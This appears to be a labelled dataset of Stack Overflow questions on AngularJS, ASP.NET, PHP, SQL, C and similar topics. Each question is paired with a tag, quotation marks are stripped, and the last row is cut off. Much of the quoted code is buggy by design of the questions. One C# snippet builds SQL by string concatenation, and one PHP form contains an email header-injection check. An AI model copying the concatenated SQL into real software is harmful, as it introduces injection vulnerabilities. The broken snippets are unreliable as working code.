app.factory( phyfactory   function () {       var phyname = {};      function set(data) {     phyname = data;     alert( inside set :  + phyname);      }  function get() {     alert( inside get :  + object.values(phyname));     return phyname; } return {     set: set get:get }  }) </code></pre>   adding html part for controller1 as requested  i am calling ng-click inside td   <pre><code>    &lt;div ng-app= myapp  ng-controller= controller1      &lt;table class= wtable &gt;           &lt;tr&gt;             &lt;th class= wth &gt;                 a             &lt;/th&gt;             &lt;th class= wth &gt;                 b             &lt;/th&gt;                         &lt;/tr&gt;         &lt;tr ng-repeat= tab in phyperform | filter:search.view_nm|filter:search.time_period|filter:search.team_nm &gt;             &lt;td class= wtd  &gt;&lt;a ng-click= open(tab.a) &gt; {{tab.a}} &lt;/a&gt; &lt;/td&gt;             &lt;td class= wtd &gt; {{tab.b}} &lt;/td&gt;                         &lt;/tr&gt;     &lt;/table&gt; </code></pre>       value is not passing to <code>controller2</code> and not redirecting as well.    any idea,angularjs
keeping html div in one place  i want to keep several divs at one place and want to show them on clicking on the respective buttons but they are coming in a row format. actually i want to keep then overlapping each another.,html
best way to structure controllers  services code on angularjs  i m starting with angularjs and i have some problems because i found on the internet a lot of examples about how declare the code  but generally the code is different.     for example on the controller:   <pre><code>(function(){   angular.module( myapp )     .controller( myctrl   myctrl);    function myctrl($scope  restangular  myfactory) {      /* code here */   } )(); </code></pre>   in other pages i found this way:   <pre><code>var myapp = angular.module( myapp ); myapp.controller( myctrl   myctrl); myctrl.$inject = [$scope restangular  myfactory]; function myctrl($scope  restangular  myfactory) {   /* code here */ } </code></pre>   and  not being enough .. i found this other way:   <pre><code>var myapp = angular.module( myapp ); myapp.controller( myctrl   function($scope  restangular  myfactory) {   /*code here*/ }); </code></pre>   i m a little confusing and i don t know what is the best way to declare my components (controllers  factory  constants etc...)    thanks for advance.,angularjs
how can we get microsoft to maintain the .net reference source   a year and a half ago  microsoft <a href= http://blogs.msdn.com/sburke/archive/2008/01/16/configuring-visual-studio-to-debug-net-framework-source-code.aspx  rel= nofollow noreferrer >released the source code for the .net framework bcl</a> for debugging purposes.  this incredibly useful offering has had a tremendous impact on my debugging experience.    it was mentioned that they were working integrating the source release into their build process  but this appears to have fallen through.    the latest releases of the .net framework assemblies (including patches and hotfixes) do not have source available at all.    what can we do to convince microsoft to maintain this excellent offering  especially for the upcoming release of .net 4.0,.net
send image as http response  i am downloading bytes from a url link ( which is a link to pdf file)   <pre><code>webclient imagewebclient = new webclient(); response.image = imagewebclient.downloaddata(url); </code></pre>   for other images types i am doing following  i am not sure how am i supposed to show this image which is extracted from a pdf file.   <pre><code>context.response.addheader( content-disposition    inline;  filename=image.jpg );                             context.response.contenttype =  image/jpeg ;  streambitmap = new memorystream(response.image);  //getbitmapstreamfromdata(checkimg.imagedata); if (streambitmap != null) {     streambitmap.writeto(context.response.outputstream); } </code></pre>   this doesn t work for bytes received by above code from a pdf link.,.net
passing value from popup window to parent form s textbox  work on asp.net visual studio 2008 c#. i have a page. from this page i need to call a page on popup. on the popup page selected value will be set on the parent page text control.   <blockquote>   <ol>   <li>one parent page</li>   <li>one child page.</li>   <li>call parent to child as popup.</li>   <li>on popup window contain a grid.</li>   <li>on popup grid have command select click on select  close popup and selected value will set on parent page text control.</li>   </ol> </blockquote>   i have done steps 1 2 3 and 4. but i need to complete step no 5.,asp.net
"php - how to show a pop-up thank you message instead of another page  i am using a form-to-email.php for a contact form in my website  but i don t really understand php code.    the ready-to-use form-to-email.php file has a line  redirect to thank you page   and i have to build a thank you page for the action.    but i hope the ux could be easier like a pop-up thank you message instead of another page.    anyone could help me to create the lines  thank you very much!!    below is the complete code of form-to-email.php  the line  header( location: thank-you.html )  is the redirect path  and i m wondering is there any way to modify the lines      <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt; php
 if(!isset($_post[ submit ]))
 {
  //this page should not be accessed directly. need to submit the form.
  echo  error; you need to submit the form! ;
 }
 $name = $_post[ name ];
 $visitor_email = $_post[ email ];
 $message = $_post[ message ];
 $agree = $_post[ agree ];
 
 //validate first
 if(empty($name)||empty($visitor_email)) 
 {
     echo  name and email are mandatory! ;
     exit;
 }
 
 if(isinjected($visitor_email))
 {
     echo  bad email value! ;
     exit;
 }
 
 
 $email_from =  receiver@gmail.com ;//&lt;== update the email address
 $email_subject =  letter from customer ;
 $email_body =  $name\n .
      message:\n$message\nline id: $line .
 $to =  receiver@gmail.com ;//&lt;== update the email address
 $headers =  from: $email_from \r\n ;
 $headers .=  reply-to: $visitor_email \r\n ;
 //send the email!
 mail($to $email_subject $email_body $headers);
 //done. redirect to thank-you page.
 header( location: thank-you.html );
 
 
 // function to validate against any email injection attempts
 function isinjected($str)
 {
   $injections = array( (\n+)  
                (\r+)  
                (\t+)  
                (%0a+)  
                (%0d+)  
                (%08+)  
                (%09+) 
               );
   $inject = join( |   $injections);
   $inject =  /$inject/i ;
   if(preg_match($inject $str))
     {
     return true;
   }
   else
     {
     return false;
   }
 }
    
  &gt; </code></pre>
 </div>
 </div>",php
javascript: set variable to either 1 or -1  i m trying to get an object that moves in a different direction when you click on it  and each time you click on it it goes faster. i have it almost functioning  but i can t get the program to exclude 0 or do only -1 or 1; i can only do a random number between -1 and 1. this means that if it hits zero  it can t progress.    (the following code is built with a javascript engine called  crafty . non-javascript parts are commented as best as i can.)   <pre><code>    crafty.init(400 320  document.getelementbyid( game )); // creates canvas      // create variables     var speed = 10;     var min = -1;     var max = 1;      // create a 32px by 32px red box     var square = crafty.e( 2d  canvas  color  mouse  motion )          .attr({x: 50  y: 50  w: 32  h: 32})          .color( red )      // when the red box is clicked  move it in a random direction. make it go faster each time.         .bind( click   function(mouseevent){             speed *= 2;             var vel = square.velocity();             var direction = ((math.random() * (max - min)) + min);             vel.x;             vel.y;             vel.x = (speed *= direction);             vel.y = (speed *= direction);         }); </code></pre>,javascript
mysql select most recent of id and order by  what i am trying to do is get the most recent result for each <code>resort_id</code> and then <code>order by</code> <code>snow_depth</code>. the first two parts i have managed. the ordering is the part that doesn t work.    what i have so far   <pre><code>select * from snow_conditions t1  natural join ( select max(weather_id) as weather_id  resort_id from snow_conditions  group by resort_id ) t2   order by snow_depth desc </code></pre>   <code>weather_id</code> is auto incremented  so i use it instead of save_time to reduce calculation resource.    the thing that is confusing me is the result comes out in some weird partial order of <code>snow_depth</code>.   <pre><code>+-----------+------------+------------+ | resort_id | weather_id | snow_depth | +-----------+------------+------------+ |       888 |    827     |       90   | |       943 |    835     |       90   | |       860 |    839     |       75   | |       17  |    828     |       71   | |       26  |    826     |       70   | |       9   |    852     |       60   |            |       16  |    831     |       292  | |       296 |    862     |       170  | |       20  |    843     |       168  | |       5   |    842     |       165  | |       36  |    838     |       160  | |       17  |    17      |       0    | |       26  |    26      |       0    | +-----------+------------+------------+ </code></pre>   when really it should appear like this   <pre><code>+-----------+------------+------------+ | resort_id | weather_id | snow_depth | +-----------+------------+------------+ |       16  |    831     |       292  | |       296 |    862     |       170  | |       20  |    843     |       168  | |       5   |    842     |       165  | |       36  |    838     |       160  | |       888 |    827     |       90   | |       943 |    835     |       90   | |       860 |    839     |       75   | |       17  |    828     |       71   | |       26  |    826     |       70   | |       9   |    852     |       60   |            |       17  |    17      |       0    | |       26  |    26      |       0    | +-----------+------------+------------+ </code></pre>   i have tried just about every relevant looking mysql query i could find on here but they all encounter the same issue or don t work.    edit: i should mention this table contains thousands of rows  with hundreds of rows for each <code>resort_id</code>. it s done this way so i can use it to generate a snowfall history.,mysql
mod operator on floating point values in c. this is showing error  illegal use of floating point  <pre><code>#include&lt;stdio.h&gt; #include&lt;conio.h&gt; void main() {   float n  r;   printf( \n enter a number );   scanf( %d  &amp;n);   r=n%10;   n/=10;   printf( %d %d  n  r );   getch(); } </code></pre>   this code is showing error while compiling. i want to know: can we perform mod operation on floating point values,c
how to access dynamically generated controls not knowing their names  my page generates a list of check boxes at run time.  i set the id of each of these boxes manually by assigning to each the string.format( checkbox_{0}  n} where n is a running number.    how to i find out the list of checkbox controls from codebehind   i couldn t find them in page.form.controls.  where are they placed     (i can see the checked checkboxes in request.form but that contains client side names of each control.)    thanks.    -    ---more info----    my iterative loop adds checkboxes to a panel control (created in the mark-up page) as follows:   <pre><code>checkbox checkbox = new checkbox(); checkbox.text =  add to list ; checkbox.id = string.format( checkbox_{0}   n.tostring( 0 )); panel1.controls.add(checkbox); </code></pre>   the checkboxes show up nicely on the page.  i can tick.  when i submit the http post stream contains all those ticked ones.    on post back  panel1.controls.count is 0.  when the page was first generated  panel1.controls.count was 200  as it contained lots of lieteralcontrols for layout.,asp.net
i can t get right url in asp.net  i need your help. i have an home button (it exactly is ) in masterpage use for all aspx. pages is my folder name (it containts my aspx webpages) and it has an  admin  folder inside (it containts my admin page). it works in all of pages except admin page. when i clicked  home  from admin page i got  the resource cannot be found.  error  and the url in web browser s address bar is  localhost/pages/pages/home  i don t know why i get two  pages  in the url. help me please   <pre><code>table&gt; &lt;tr&gt;     &lt;td width= 700px &gt;         &lt;ul class= menu &gt;             &lt;li&gt;&lt;a href= ../pages/home.aspx &gt;trang chủ&lt;/a&gt; &lt;/li&gt;             &lt;li class= parent &gt;sản phẩm                 &lt;ul&gt;                     &lt;li&gt;&lt;a href= ../pages/dienthoai.aspx &gt;điện thoại&lt;/a&gt; &lt;/li&gt;                     &lt;li&gt;&lt;a href= ../pages/maytinhbang.aspx &gt;máy tính bảng&lt;/a&gt; &lt;/li&gt;                     &lt;li&gt;&lt;a href= ../pages/phukien.aspx &gt;phụ kiện&lt;/a&gt; &lt;/li&gt;                 &lt;/ul&gt;             &lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;giới thiệu&lt;/a&gt; &lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;góp ý&lt;/a&gt; &lt;/li&gt;             &lt;li&gt;&lt;a href= ../pages/dangnhap.aspx &gt;đăng nhập&lt;/a&gt; &lt;/li&gt;             &lt;li&gt;&lt;a href= ../pages/dangki.aspx &gt;đăng kí&lt;/a&gt;&lt;/li&gt;         &lt;/ul&gt;     &lt;/td&gt;     &lt;td width= 300px &gt;         &lt;table cellpadding= 0  cellspacing= 0  width= 100% &gt;             &lt;tr&gt;                 &lt;td&gt;                     &lt;asp:label id= lbluser  runat= server  font-bold= true  forecolor= white &gt;&lt;/asp:label&gt;                 &lt;/td&gt;                 &lt;td&gt;                     &lt;asp:hyperlink id= hyperquantri  runat= server  font-bold= true  forecolor= white                          navigateurl= ~/hienthi/thongtin.aspx &gt;thông tin&lt;/asp:hyperlink&gt;                 &lt;/td&gt;                 &lt;td&gt;                     &lt;asp:hyperlink id= hyperthoat  runat= server  font-bold= true  forecolor= white                          visible= false  navigateurl= ~/hienthi/thoat.aspx &gt;thoát&lt;/asp:hyperlink&gt;                 &lt;/td&gt;             &lt;/tr&gt;         &lt;/table&gt;     &lt;/td&gt; &lt;/tr&gt; </code></pre>,asp.net
how to convert substring to datetime  i have a date time value extracted from textbox (datepicker) which is a range of time however i use sub string to further divide the time range to admissiondt and dischargedt.however i cannot convert the substring into datetime as i wanted to insert them into the database.the error displayed was  string was not recognized as a valid datetime.   <pre><code>string admissiondischargedt = addt.text; string admissiondt = admissiondischargedt.substring(0 17); string dischargedt = admissiondischargedt.substring(18 17);  datetime admissiondtinput = datetime.parseexact(admissiondt  dd-mm-yyyy hh:mm tt  system.globalization.cultureinfo.invariantculture); datetime dischargedtinput = convert.todatetime(dischargedt); </code></pre>   below are the codes for the datepicker found in the aspx.   <pre><code>&lt;div class= form-group &gt;         &lt;label class= col-lg-2 &gt;admission date &amp; time&lt;/label&gt;              &lt;div class =  col-lg-10 &gt;             &lt;div class= input-group &gt;          &lt;span class= input-group-addon &gt;&lt;i class= icon-calendar22 &gt;&lt;/i&gt;&lt;/span&gt;         &lt;asp:textbox id= addt  type= text  runat= server  class= form-control daterange-time  value=  &gt;&lt;/asp:textbox&gt;                                         &lt;/div&gt;                                     &lt;/div&gt;                                 &lt;/div&gt; </code></pre>,asp.net
angularjs component won t instantiate    module  is not a function   i ve been asked to do a project in angular 1  and i ve been having a nightmare of a time just trying to get the page to load the app code from <code>bundle.js</code>. i ve currently got an error along the lines of   <pre><code>[$injector:modulerr] failed to instantiate module app due to: error: [$injector:modulerr] failed to instantiate module { _invokequeue :  []  _configblocks :[]  _runblocks :[]  name : approvecomponent } due to: error: [ng:areq] argument  module  is not a function  got object </code></pre>   but the only approvecomponent i ve got is essentially a blank placeholder -   <blockquote>    import angular from  angular ;        const approve = angular.module( approvecomponent   []);        export default approve;  </blockquote>   what can i do to get this actually running     i m using webpack 4 to bundle everything. (no errors from webpack.),angularjs
how to use geteffectiverightsfromacl function in python   i m trying to use <code>win32security</code> module. more precisely  i need to use <code>geteffectiverightsfromacl()</code>(<a href= http://docs.activestate.com/activepython/2.4/pywin32/pyacl.html  rel= nofollow noreferrer >pyacl object</a>). how can i get the <code>pytrustee trustee</code> that needs to call this function,python
variable-declaration javascript: use var-keyword in global space  for what reason   i m currently try to learn the basics of javascript.    what i understood so far (and please correct me if i m wrong somewhere): the language differentiates only between global and function scope.     within functions you have to use the var-keyword when declaring function-wide variables. otherwise you declare a global variable automatically.     but when i m in the global space anyway:    is it necessary to use the var-keyword there too     i mean: i declare a global variable anyway.    so does it make sense to use var there too  and in case of so: which sense,javascript
how to retrieve the list of songs of songs library in array   following code retrieves all the songs present in my iphone but i want to retrieve all the songs in an array. i mean can i have the array of the names of songs in an array  if yes  how it can be done     thanks-   <pre><code> mpmediapickercontroller *picker = [[mpmediapickercontroller alloc] initwithmediatypes: mpmediatypemusic];   picker.delegate = self;  picker.allowspickingmultipleitems = yes;  picker.prompt = nslocalizedstring (@ add songs to play    prompt in media item picker );   [[uiapplication sharedapplication] setstatusbarstyle: uistatusbarstyledefault animated: yes];   [self presentmodalviewcontroller: picker animated: yes];   [picker release]; </code></pre>,iphone
subquery returned more than 1 value. this is not permitted when the subquery follows =  !=  <  <=   >  >=  i ve just got problem with my code.   <pre><code>select * (select stoppayment from loan_terms) as stop  from subs  </code></pre>,sql
css - button separation  i asked the following <a href= https://stackoverflow.com/questions/7861721/css-button-positioning-fiddle-included >question</a> earlier and @topek answered it perfectly.  however  i thought i would be able to split the buttons (float: right and float: left)  however  my efforts to do so failed.    basically in addition to the buttons showing up at the bottom of the div in the same location through the entire wizard process i would also like the buttons to show up on either side of the fieldset.  i should note that there is a beginning wizard screen that only includes the  next >  button (a href) and an ending screen that contains a  &lt; back  button (a href) and an input button  finish .  i would like the  next >  button to show on the right hand side always (as well as the  finish ).    please see the following fiddle: <a href= http://jsfiddle.net/hcavx/  rel= nofollow noreferrer >http://jsfiddle.net/hcavx/</a>    any help is appreciated!,css
possible to center and set element width by using percent  i m trying to center an element with percent  but it don t work! have i missed something or is the way i m doing it impossible     when i m using this setting  the element is almost touching the top of the browser area.   <pre><code>.modal-box {     position: fixed;     z-index: 1000;     width: 50%;     height: 50%;     top: 50%;     left: 50%;     margin-top: -25%;     margin-left: -25%;   } </code></pre>,css
asp.net web application folder with default-ish page  i m trying to do something on an .net website: i have a default page in my root directory  works as intended.  now i need a folder  say <strong>~/someone</strong>  and another folder  <strong>~/somebody</strong>.  how do i get it to accept <strong> www.somewhere.com/somebody </strong> to go to <strong> www.somewhere.com/somebody/somepage.aspx </strong> or <strong> www.somewhere.com/someone </strong> to go to <strong> www.somewhere.com/someone/somepage.aspx </strong> using <strong> somepage.aspx </strong> like a default page in the respective folder,asp.net
objective-c removing whitespace from strings in array  i want to import a file of strings line by line into an array. i want to get rid of all of the whitespace before and after the strings so that i can compare the strings a lot easier without having them not match due to small whitespace discrepancies. i nsdata the content of the files then take the two strings    <pre><code>nsstring* string  = [[[nsstring alloc] initwithbytes:[data bytes]                                                   length:[data length]                                                  encoding:nsutf8stringencoding] autorelease];  nsstring* string2  = [[[nsstring alloc] initwithbytes:[data2 bytes]                                                    length:[data2 length]                                                   encoding:nsutf8stringencoding] autorelease]; </code></pre>   i tried below to remove the whitespace before adding to an array but it does not seem to work.     <pre><code>nsstring *newstring = [string stringbytrimmingcharactersinset: [nscharacterset whitespacecharacterset]]; nsstring *newstring2 = [string2 stringbytrimmingcharactersinset: [nscharacterset whitespacecharacterset]];  nsarray *fileinput = [newstring componentsseparatedbystring:@ \n ]; nsarray *fileinput2 = [newstring2 componentsseparatedbystring:@ \n ]; </code></pre>,objective-c
changing string value  i am new in c and i don t know where problem is. i am making some program and i want in case of a1 to change value of string a1 and display message (i know that i can organize chars  i will do that later). i am getting two errors  first one is:    <blockquote>    [error] case label does not reduce to an integer constant - line 96  </blockquote>   and second    <blockquote>    [error] incompatible types when assigning to type  char[60]  from type    char *  - line 96  </blockquote>   code:   <pre><code>#include &lt;stdio.h&gt; char a1[60];      switch(trenutni)         case a1: printf( a1 je %s  a1= brazil ); } else     printf( nemate vise poteza  vise srece drugi put!/nbroj bodova koje ste osvojili:% );    </code></pre>,c
file downloader downloading 0 byte file in php  my code don t work all times . most of the time it download 0 byte image . i can download particular images by this code and may be this code save the size of the image in the cash by it s name . if i rename the image   it download 0 byte .   <pre><code>$file_path= $full_path;  $file = pathinfo($file_path);  $base = $file[ basename ];  $dir = $file[ dirname ];  header( content-description: file transfer );  header( content-type: application/octet-stream ); header( content-disposition: attachment; filename= .$base); header( content-transfer-encoding: binary ); header( expires: 0 ); header( cache-control: must-revalidate ); header( pragma: no-cache ); header( content-length:   . filesize($base)); ob_clean(); flush();  $path = $dir. / .$base;  readfile($path);  exit; </code></pre>,php
why onload=showfield() is used  <pre><code>&lt;body style= background-color:#f2f2f2  onload= showfield(); &gt; </code></pre>   in the above element why the attribute onload= showfield(); is used. please help me out . thanks in advance.,html
how can i make it so this creates a second random number in a second textbox  <strong>i don t know how to make this so it generates two different numbers and puts it into two different text boxes i have tried a lot but i just cant get it</strong>   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;  &lt;html xmlns= http://www.w3.org/1999/xhtml &gt;  &lt;head&gt;  &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt;  &lt;title&gt;dice game&lt;/title&gt;  &lt;style type= text/css &gt;  body input{font-family:sans-serif; color:#ff0000; background-color:#990000#000000; }  &lt;/style&gt;  &lt;script type= text/javascript language= javascript &gt;  function roller(){  var num=math.ceil(math.random()*6);  document.myform.output.value=num;  }   &lt;/script&gt;  &lt;/head&gt;   &lt;body&gt;  &lt;form id= myform  name= myform method= post action=  &gt;  &lt;input type= button  name= roll  id= roll  value= button  onclick= roller() /&gt;   &lt;br/&gt;   &lt;input type= text  name= output  size= 16  disabled= disabled  id= output /&gt;   &lt;form id= myform  name= myform method= post action=  &gt;   &lt;br/&gt;   &lt;input type= text  name= output  size= 16  disabled= disabled  id= output /&gt;      &lt;/form&gt;  &lt;/body&gt;  &lt;/html&gt; </code></pre>,html
how to attach html to two similar elements with vanilla javascript   i have two such elements  <code>gateway_1</code> and <code>gateway_13</code>.   <pre><code>&lt;div class= radio__label content-box &gt;   &lt;label class= radio__label__primary  for= gateway_${id} &gt;     test   &lt;/label&gt; &lt;/div&gt; </code></pre>   i would like to attach html between <code>&lt;/label&gt;</code> and <code>&lt;/div&gt;</code>.  simplified html below:   <pre><code>&lt;span class= radio__label__accessory &gt;  &lt;span style= background-image:url(${imgsrc}) none; &gt;${originaltext}&lt;/span&gt; &lt;/span&gt; </code></pre>   my code is:   <pre><code>  function transformlabelcontainer(id  imgsrc) {     const label = document.queryselector(`label[for$=_gateway_${id}]`);     const originaltext = label.innertext;     const span = document.createelement( span );     span.classname =  radio__label__accessory ;     span.innerhtml =  &lt;span style= background-image:url(${imgsrc}) none; &gt;${originaltext}&lt;/span&gt; ;   }    const labelstotransform = [     {       id:  1         imgsrc:  image.svg      }        id:  13         imgsrc:  image13.svg      }   ];    labelstotransform.foreach(label =&gt; transformlabelcontainer(label.id  label.imgsrc)); </code></pre>   hover i can t figure what stopping it from working at all. any help would be greatly appreciated.     this is a modification of code from this question: <a href= https://stackoverflow.com/questions/49829323/how-to-replace-two-similar-html-elements-with-vanilla-javascript/49829886#49829886 >how to replace two similar html elements with vanilla javascript </a>,javascript
looping with sql statements  i am trying to implement a small logic in sql:    for example : i have two tables a and b   <pre><code>    a            b id  qnt         id  qnt   value 1    50         1   100   1000       2   130         2   200   1000 3   180         3   300   1000 4   320         4   400   2000 5   500         5   500   2000                 6   600   2000                 7   700   2000 </code></pre>   i would to loop through each value of <strong>qnt in table a</strong> and check if the value lie between the range of the values in <strong>qnt of table b</strong> and get the corresponding value.     i know how i could achieve this with using while loop. but i don t want to do this since looping affects my query performance significantly. i would like to do this with only sql statements. can anyone suggest an idea how i could go with this  just an idea would be great! any sql would be fine  i would like to know just the logic.    the output would look like :   <pre><code>output id      qnt     value 1       50      1000 2       130     1000 3       180     1000 4       320     2000 5       500     2000 </code></pre>   thanks,sql
helpbar in html  i am trying to develop help bar in html for which i am using following code.is there any way so that i can make it small in terms of number of lines.   <pre><code>&lt;table&gt; &lt;tr&gt; &lt;td  width= 400  height= 50  &gt; &lt;input type= button   value= home  onclick= window.location.href= http://www.google.com   &gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;input type= button    value= about us  onclick= window.location.href= http://www.google.com  &gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;input type= button   value= contact us  onclick= window.location.href= http://www.google.com  &gt; &lt;/td&gt; </code></pre>,html
python read-modify-write line  i m doing some editing on a file line by line    what i would like to do is the following i have a line and i want to use delimiter to split it and take the first argument after delimiter which is space.   <pre><code>for line in file1:   line = line.strip();   new = line.split(   )[1]+ \n ;         file2.write(new); file2.close(); file2  = open( temp.hex   r );   for line in file2: </code></pre>   as you can see the way i do it as split the line by delimiter and write it to new file. then i want to do some more editing so i must close and reopen file to iterate it line by line    my questions are 1. can i modify the line originally on file1  2. do i must close file2 before i scan it again line by line     thanks allot  jonathan,python
gmaps-api-issues after updateing to v23 of  com.android.support:design  and  com.android.support:appcompat-v7   my app worked fine for three months but when i moved to    <pre><code> com.android.support:design:23.1.1   com.android.support:appcompat-v7:23.0.0  </code></pre>   and added   <pre><code>apply plugin: com.google.gms.google-services  </code></pre>   i started getting crashed with stacktrace of unknown source:   <pre><code>java.lang.arrayindexoutofboundsexception: length=1; index=1         at com.google.maps.api.android.lib6.gmm6.streetview.aa.a(unknown source)         at com.google.maps.api.android.lib6.gmm6.streetview.ag.a(unknown source)         at com.google.maps.api.android.lib6.gmm6.streetview.ag.run(unknown source) </code></pre>   and    <pre><code>java.lang.illegalargumentexception: left == right         at android.opengl.matrix.frustumm(matrix.java:327)         at com.google.maps.api.android.lib6.gmm6.n.b.b.j(unknown source)         at com.google.maps.api.android.lib6.gmm6.n.b.b.l(unknown source)         at com.google.maps.api.android.lib6.gmm6.n.b.b.b(unknown source)         at com.google.maps.api.android.lib6.gmm6.n.b.b.a(unknown source)         at com.google.maps.api.android.lib6.gmm6.n.b.b.a(unknown source)         at com.google.maps.api.android.lib6.gmm6.c.v.a(unknown source)         at com.google.maps.api.android.lib6.d.aw.a(unknown source)         at com.google.android.gms.maps.internal.cb.ontransact(sourcefile:82)         at android.os.binder.transact(binder.java:387)         at com.google.android.gms.maps.internal.iprojectiondelegate$zza$zza.getvisibleregion(unknown source)         at com.google.android.gms.maps.projection.getvisibleregion(unknown source)         at com.google.maps.android.clustering.view.defaultclusterrenderer$rendertask.run(defaultclusterrenderer.java:363)         at java.lang.thread.run(thread.java:818) </code></pre>   they don t seem to be connected in sense that one is about defaultclusterrenderer and another about streetview but they started happening excatly at the same time.    i read about the second problems <a href= https://code.google.com/p/gmaps-api-issues/issues/detail id=8724  rel= nofollow >here</a> as well.    does anyone have a glue why this is happening or how to catch there errors     btw i am using <code> com.google.android.gms:play-services:8.4.0 </code>,android
to use sql join or not  i have a query with 2 tables <code>table a</code> and <code>table b</code>.   <ul> <li><code>table_a</code> : a_id  b_id  a3  a4  a5</li> <li><code>table_b</code> : b_id  b2.</li> </ul>   i want value of column <code>a3</code> from <code>table_a</code> and <code>b2</code> from <code>table_b</code>.    i tried this query:   <pre><code>select      b.b2  a.a3  from      table_a a  join      table_b b on (a.a_id = b.b_id) </code></pre>   the query returns nothing. what am i doing wrong,sql
redirect back to form keeping previously entered values  in my rails 3 app i have prospects and solicitors.  prospects has_many solicitors.  in my form to create a new prospect i have a select box that is per-populated with a current list of solicitors. also on the new prospect form i have the link_to new_solicitor_path  to add a new solicitor if one is needed.  after the used is taken to the new solicitor form  fills it out and hits the submit button he is taken back to the new prospect form. this all works.    what i would like to have happen is when a user is redirect back to the new prospect form all the information he had entered prier to clicking the  new solicitor  link is preserved.  right now when a user finishes creating a new solicitor and is redirected back to the prospect form  all the form fields are blank again.    <strong>update</strong> i will try and be clearer.    a user clinks a link to create a new prospect   <pre><code>&lt;%= link_to  new prospect   new_prospect_path %&gt; </code></pre>   this links to a the new action which renders a form partial    <pre><code>&lt;%=render  form %&gt; </code></pre>   in the form is a select box that is pre-populated with the current solicitors and has a link to add a new solicitor.   <pre><code>&lt;%= select_tag  prosolicitor   options_from_collection_for_select(@org.solicitors.all   id    fullname   @prospect.solicitors.first.id)  :include_blank =&gt; true %&gt;  &lt;%= f.label :primary_solicitor %&gt;&lt;%= link_to  (new)   new_solicitor_path%&gt;&lt;br/&gt; </code></pre>   when the user clicks the new  solicitors link they are taken to the new solicitors form. in the controller for solicitors    <pre><code>def create       @solicitor=@org.solicitors.new(params[:solicitor])       session[:return_to] ||= request.referer       if @solicitor.save           redirect_to session[:return_to]           flash[:notice]= solicitor saved!        else          render new_solicitors_path          flash[:notice]= could not save solicitor.        end      end </code></pre>   this brings me back to the new prospect form but all the data the user entered before clicking the new solicitors link is lost. thanks to marc s comments i think i understand that using the redirect_to is causing the problem.  i am just not sure what the solution is.,ruby-on-rails
what is the datatype of a defined constant   i was trying this code.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #define lower 0 #define upper 300  int main() {     printf( %d %f  lower upper);     return 0; } </code></pre>   i read some of the answers and it says that defined constants don t have a type and are not allocated any memory. then why is it giving errors if i specify different type specifiers in printf(),c
html - if prefix doesn t seem to work  i d like to detect if the user uses ie or another browser. so just after   <pre><code>&lt;!doctype html&gt; </code></pre>   but before   <pre><code>&lt;html lang= pl-pl &gt; </code></pre>   i put this code:   <pre><code>  &lt;![if !ie]&gt;      &lt;link rel= stylesheet  media= screen  type= text/css  href= css/style.css  /&gt;   &lt;![endif]&gt;    &lt;!--[if ie]&gt;      &lt;link rel= stylesheet  media= screen  type= text/css  href= css/style-ie.css  /&gt;   &lt;![endif]--&gt; </code></pre>   but it doesn t seem to work. what am i doing wrong,html
error on request  i am having an issue with the following code:   <pre><code>request.servervariables[ appl_physical_path ].tostring(); </code></pre>   the error that i got is:   <blockquote>    error 72  an object reference is   required for the non-static field    method  or property    system.web.ui.page.request.get   </blockquote>   i am just using .net 4 on web apps. any ideas      thanks in advance.,.net
what are the differences between if  else  and else if   i am trying to discern the difference between    <pre><code>if  else  else if  </code></pre>   when do you use them and when not     i have a homework assignment with a ton of instances and i am running into code error due to not knowing the differences between each.    can someone please define how to use these,c
using uiwebview as a script engine  i am working on a survey engine for the iphone.  we use a declarative xml format that can be downloaded post store install.  it s working pretty well but not being able to script is becoming problematic.  i have this idea to use a webview to execute javascript code to provide this functionality.    my question is will this run afoul of apple s rule of not downloading executable script code   they do seem to allow for downloading of js code that will run in a web view.  would they consider this approach an abuse of this rule     thanks,objective-c
schedule will not select if the date and time is already pasted  hi guys can you help me about this one...    i just want to not select all of the date and time that already pasted... i m using join table    here s my code:   <pre><code>select * from pgs_schedule left join pgs_schedule_versus on pgs_schedule_versus.pgs_schedule_id = pgs_schedule.pgs_schedule_id where date(pgs_schedule_versus.schedule_time) &gt; curtime() and date(pgs_schedule.schedule_date) &gt; curdate() order by schedule_date desc  schedule_time asc </code></pre>   pgs_schedule table:   <pre><code>    +---------------------+     | schedule_date       |     +---------------------+     |2017-03-06           |     |2017-03-07           |     |2017-02-07           |     +---------------------+ </code></pre>   pgs_schedule_versus table:   <pre><code>+---------------------+ | schedule_time       | +---------------------+ |15:00:00             | |16:00:00             | |16:00:00             | +---------------------+ </code></pre>   the march will show but the feb will not be selected... but if the march 6  2017 will be selected and the time is already pasted it will show march 7...,mysql
conversion failed when converting the varchar value  cat_id  to data type int  how to load and save cateogry_id into a combobox from another table but in combobox it display cateogry_name c#   my code for save:   <pre><code>    con.open();     combobox1.text.tostring();     string query =  insert into tbl_item (cat_id  barcode  itemname  unit  quantity  saleprice  pprice) values (  + combobox1.valuemember +       + textbox2.text +       + textbox3.text +       + textbox4.text +       + textbox5.text +       + textbox6.text +       + textbox7.text +   ) ;      sqldataadapter sda = new sqldataadapter(query  con);     sda.selectcommand.executenonquery();     float mg = float.parse(textbox6.text) - float.parse(textbox7.text);     label10.text = mg.tostring();      con.close();                  messagebox.show( data saved! ); } catch (exception ex) {         messagebox.show(ex.message); } con.close();     </code></pre>   and also a method   <pre><code>protected void fillcombo() {     dataset ds = new dataset();      try     {         con.open();         sqlcommand cmd = new sqlcommand( select * from tbl_cateogry   con);         sqldataadapter da = new sqldataadapter();         da.selectcommand = cmd;         da.fill(ds);         combobox1.displaymember =  cat_name ;         combobox1.valuemember = cat_id ;         combobox1.datasource = ds.tables[0];      }     catch (exception ex)     {         messagebox.show(ex.message);     }     con.close(); } </code></pre>   when 